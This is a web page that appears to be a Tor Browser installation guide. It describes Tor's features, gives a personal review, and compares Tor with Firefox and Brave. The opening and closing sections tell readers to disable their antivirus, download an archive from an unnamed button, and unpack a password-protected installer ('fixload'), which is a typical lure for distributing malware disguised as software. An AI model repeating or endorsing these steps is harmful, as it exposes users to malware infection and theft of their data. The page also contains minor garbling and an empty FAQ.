Tor Browser: Step-by-Step Guide
Before installing the program, be sure to temporarily disable your antivirus!
This is necessary for the installation file to work correctly – the antivirus may mistakenly block the launch or delete parts of the program. After installation, do not forget to turn the protection back on.
Tor Browser is one of the most discussed tools when it comes to anonymous browsing and online privacy. Unlike mainstream browsers, it’s designed to route your traffic through the Tor network, making it difficult to track your activity. In this article, I’ll walk you through how to install Tor Browser, explain what it does, share my personal experience, and compare it with some alternatives.
How to Extract/Install
After downloading, run the installer. You’ll be prompted to choose an install location. Once installed, open Tor Browser, and it will ask whether you want to connect directly to the Tor network or configure bridges (useful in countries with restrictions). Click “Connect” to get started.
Possible Errors During Installation
- Installer won’t launch: Run it as administrator.
- Slow or blocked connection: Use bridges or check your firewall settings.
- Corrupt download: Re-download from the official Tor site.
How to Verify Successful Installation
If the browser opens and displays the Tor welcome screen with a green onion icon, you’re connected. Visit check.torproject.org inside the browser to confirm it’s working.
What Tor Browser Does
Tor Browser isn’t just another way to surf the web—it’s a gateway to anonymity:
- Encrypts your traffic and bounces it through multiple servers (nodes).
- Blocks tracking scripts and cookies by default.
- Allows access to .onion sites (hidden services).
- Includes security levels you can adjust, from Standard to Safest, depending on how locked down you want your browsing.
- Portable version available—can run directly from a USB stick.
Personal Experience Using Tor Browser
I first tried Tor Browser when I was traveling and wanted to avoid public Wi-Fi tracking. Pages loaded slower than on Chrome or Firefox (no surprise, given the multi-hop encryption), but the sense of control was refreshing. It worked well for basic browsing and research, but streaming video was clunky at best. Compared with alternatives, the balance between privacy and usability felt unique.
Pros:
- High privacy
- Blocks trackers by default
- Access to hidden services
Cons:
- SomSlower speeds
- Not ideal for streaming or heavy downloads
Comparison with Alternatives
| Browser | Pros | Cons |
|---|---|---|
| Tor Browser | Maximum anonymity, blocks trackers, .onion access | Slower performance, limited streaming support |
| Mozilla Firefox | Customizable, fast, good privacy features | Less anonymous than Tor, but more user-friendly |
| Brave Browser | Built-in ad/tracker blocking, Chromium compatibility | Not as anonymous as Tor, tied to crypto ecosystem |
FAQ
Conclusion
Tor Browser is a powerful tool if you care about online anonymity. It’s not the fastest browser, and it’s not meant to replace Chrome or Firefox for everyday use. But for situations where privacy matters most, it’s hard to beat. Think of it as a specialist tool in your digital toolkit—one that works best when used with intention.
Your antivirus may block or interfere with the installation process.
Please make sure to disable it temporarily before continuing.
Step 1: Download the archive using the button below.
Step 2: Extract the downloaded archive.
Step 3: Extract the installer archive (Password: fixload)
Step 4: Run the installer and follow the on-screen instructions to install the program on your computer.
